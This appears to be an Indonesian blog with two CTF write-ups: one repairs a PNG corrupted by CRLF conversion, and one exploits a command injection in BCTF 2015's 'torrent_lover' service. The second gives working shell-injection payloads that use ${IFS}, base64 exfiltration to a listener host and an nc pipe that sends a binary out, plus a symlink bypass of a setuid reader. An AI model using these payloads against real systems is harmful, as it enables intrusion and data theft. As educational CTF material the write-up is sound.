Sunday, April 19, 2015

PNG Uncorrupt(Forensic150)


Kita diberikan sebuah file PNG dengan petunjuk:
We received this PNG file, but we're a bit concerned the transmission may have not quite been perfect.
Dengan menggunakan pngcheck, kita bisa tahu apa salahnya file ini:

yohanes@ubuntu:~$ pngcheck corrupt_735acee15fa4f3be8ecd0c6bcf294fd4.png
corrupt_735acee15fa4f3be8ecd0c6bcf294fd4.png:  CORRUPTED by text conversion
ERROR: corrupt_735acee15fa4f3be8ecd0c6bcf294fd4.png


Header PNG dirancang supaya kita bisa mendeteksi jika ada konversi ASCII ketika mentransfer file. Tapi sayangnya tidak membantu dalam hal recoverynya.


http://www.libpng.org/pub/png/pngintro.html
PNG supports three main types of integrity-checking to help avoid problems with file transfers and the like. The first and simplest is the eight-byte magic signature at the beginning of every PNG image. It will detect the most common type of file corruption: that due to the transfer of a binary file in text (or "ASCII") mode.
PNG's magic signature cleverly includes both a CR/LF pair and a single LF.
Dalam kasus ini ketika kita lihat header PNG-nya, tidak cukup untuk memperbaiki headernya saja, karena di dalam data PNG (yang terkompresi), masih ada byte yang tadinya CRLF (0x0d 0x0a) berubah menjadi LF (0x0a). Masalahnya adalah: tidak semua 0x0a tadinya adalah (0x0d 0x0a). Contohnya seperti ini. Jika data asli adalah:

0x0a 0x01 0x02 0x0d 0x0a 0x02 0x0a

Maka setelah konversi CRLF:

0x0a 0x01 0x02 0x0a 0x02 0x0a

Kita tidak tahu 0x0a mana yang harus dikembalikan menjadi 0x0d 0x0a (bisa jadi ada beberapa 0x0a yang harus dikembalikan menjadi 0x0d 0x0a).

Bagaimana kita bisa mengembalikan byte-byte yang benar? file PNG disusun dalam bentuk chunk, seperti ini:

- Length (4 byte)
- Chunk Type (4 byte)
- Chunk Data (N byte, sesuai dengan length)
- CRC (4 byte, CRC sesuai algoritma di sini)

Data PNG ada dalam chunk IDAT, dalam file soal ada 10 IDAT yang sebagian besar corrupt. Perhatikan bahwa karena konversi CRLF, maka kita tidak bisa memparsing menggunakan LENGTH, karena datanya akan bergeser ketika CRLF berubah menjadi LF.

Kode yang saya pakai untuk menyelesaikan agak berantakan (Karena ini adalah CTF dan ini satu-satunya soal yang sempat saya selesaikan sebelum perjalanan panjang). Saya punya dua kode, pertama dalam python untuk mensplit PNG menjadi chunk IDAT, dan kode dalam C (supaya cepat) untuk memperbaiki CRC-nya.

Kedua kode ini sebenarnya bisa digabung supaya semuanya otomatis. Skrip python juga mengoutputkan HEADER dan FOOTER supaya bisa digabung lagi hasil akhirnya. Kelebihan menggunakan cara terpisah adalah: saya bisa copy chunk-nya ke komputer lain dan menjalankan perbaikan untuk chunk itu saja.


Bagian parsing IDAT dalam python hanya mencari string IDAT dan ditulis ke file:

Di situ saya juga memprint padding, berapa byte yang berubah dari yang seharusnya. Setelah tahu berapa byte yang berubah tiap blok, saya membuat program dalam C untuk memperbaiki chunk IDAT tersebut.

Cara perbaikannya adalah sebagai berikut: kita tahu berapa jumlah 0x0a (misalnya N) di dalam sebuah chunk IDAT (bisa dihitung dengan melihat bytenya), kita tahu berapa 0x0d0x0a yang berubah menjadi 0x0a (dari jumlah padding di skrip python, misalnya K), kita tahu CRC dari tiap blok IDAT.
Kita bisa mencoba-coba memilih kombinasi K dari N. Untuk IDAT tertentu, hanya 1 byte dari sekitar 400 byte yang perlu diubah (bisa dicoba-coba manual kalau rajin), untuk IDAT-4, ada 459 byte 0x0a, dan paddingnya 3, artinya ada lebih dari 16 juta kombinasi, tidak mungkin diperbaiki manual.


Berikut ini source saya untuk memperbaiki IDAT dengan mencoba semua kombinasi dan mengecek crcnya:

Setelah selesai, saya gabungkan lagi HEADER, IDAT, dan FOOTER-nya.
Hasilnya adalah gambar berikut:
result
flag{have_a_wonderful_starcrafts}















Monday, March 23, 2015

BCTF 2015: torrent_lover

Deskripsi soalnya singkat:

A dog loves torrent.


Contoh setelah kita masukkan input

Dan hasilnya



Jika kita masukkan URL yang diberi torrent, maka akan keluar info mengenai torrent tersebut. Tadinya saya pikir file torrentnya yang harus dimodifikasi supaya menghasilkan injection. Tapi Agan Oghie menyadari bahwa inputnya memiliki flaw command injection, dan outputnya akan muncul jika kita melisten di sebuah port. Dengan memasukkan URL:

http://yn.lc:1200/`id`.torrent

Maka hasilnya:



Dari user agentnya kira-kira ini terjadi karena perintah yang dipakai adalah system("wget $url"). 

Masalah pertama yang dihadapi adalah memasukkan spasi, karena ini merupakan shell injection. Saya memastikan ini dengan mencoba memprint environment

http://yn.lc:1200/${PWD}.torrent

Hasilnya muncul:

GET //var/www/work.torrent HTTP/1.1

Jadi ternyata direktori saat ini adalah work.

Karena ini adalah shell, trik berikutnya untuk memasukkan spasi adalah dengan ${IFS}, jadi kita bisa melakukan:

ls${IFS}-a

Tapi ada masalah lagi: jika output mengandung spasi, maka sisa output tidak akan muncul. Output dari 

http://yn.lc:1200/$(ls${IFS}-l).torrent

Hanya kata "total" saja

GET /total HTTP/1.1

Untuk bypassnya, kita gunakan base64, 


http://yn.lc:1200/$(ls${IFS}-l|base64).torrent


dan hasilnya:

GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9u HTTP/1.1

Hasilnya:

total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhon

Terpotong juga karena base64 memiliki newline di output. Untungnya base64 punya opsi -w0

http://yn.lc:1200/$(ls${IFS}-l|base64${IFS}-w0).torrent

GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9uZ3ppCg==.torrent HTTP/1.1

Ternyata cuma ada 1 file bernama zhongzi

total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhongzi

Setelah ke sana kemari, akhirnya ditemukan direktori /var/www/flag/

Isinya 2 file:

total 16
-r-------- 1 flag flag       57 Mar 21 12:14 flag
-rwsr-x--- 1 flag www-data 8871 Mar 21 12:13 use_me_to_read_flag

Ketika kita mencoba mengeksekusi file tersebut:

http://yn.lc:1200/$(/var/www/flag/use_me_to_read_flag${IFS}/var/www/flag/flag|base64).torrent

Hasilnya:

GET /WW91IG1heSBub3QgYWNjZXNzICcvdmFyL3d3dy9mbGFnL2ZsYWcnCg==.torrent HTTP/1.1


  • You may not access '/var/www/flag/flag'
Wah, kenapa ini?

Karena file use_me_to_read_flag bisa dibaca, maka saya base64 encode dan kirimkan ke host saya:


http://yn.lc:1200/$(base64${IFS}/var/www/flag/use_me_to_read_flag$|nc${IFS}yn.lc${IFS}1400).torrent

Ternyata file ini adalah file ELF, setelah didecompile, terlihat:


if ( strstr(argv[1], "flag") ) { printf("You may not access '%s'\n", argv[1]); exit(1); }

Sisanya gampang: karena hanya dicek namanya saja, maka kita bisa bypass dengan symbolic link. Pertama buat dulu linknya, kira-kira seperti ini:


ln -s /var/www/flag/flag /tmp/bb

Lalu baca flaghnya dengan

/var/www/flag/use_me_to_read_flag /tmp/bb

Dan hasilnya:

BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}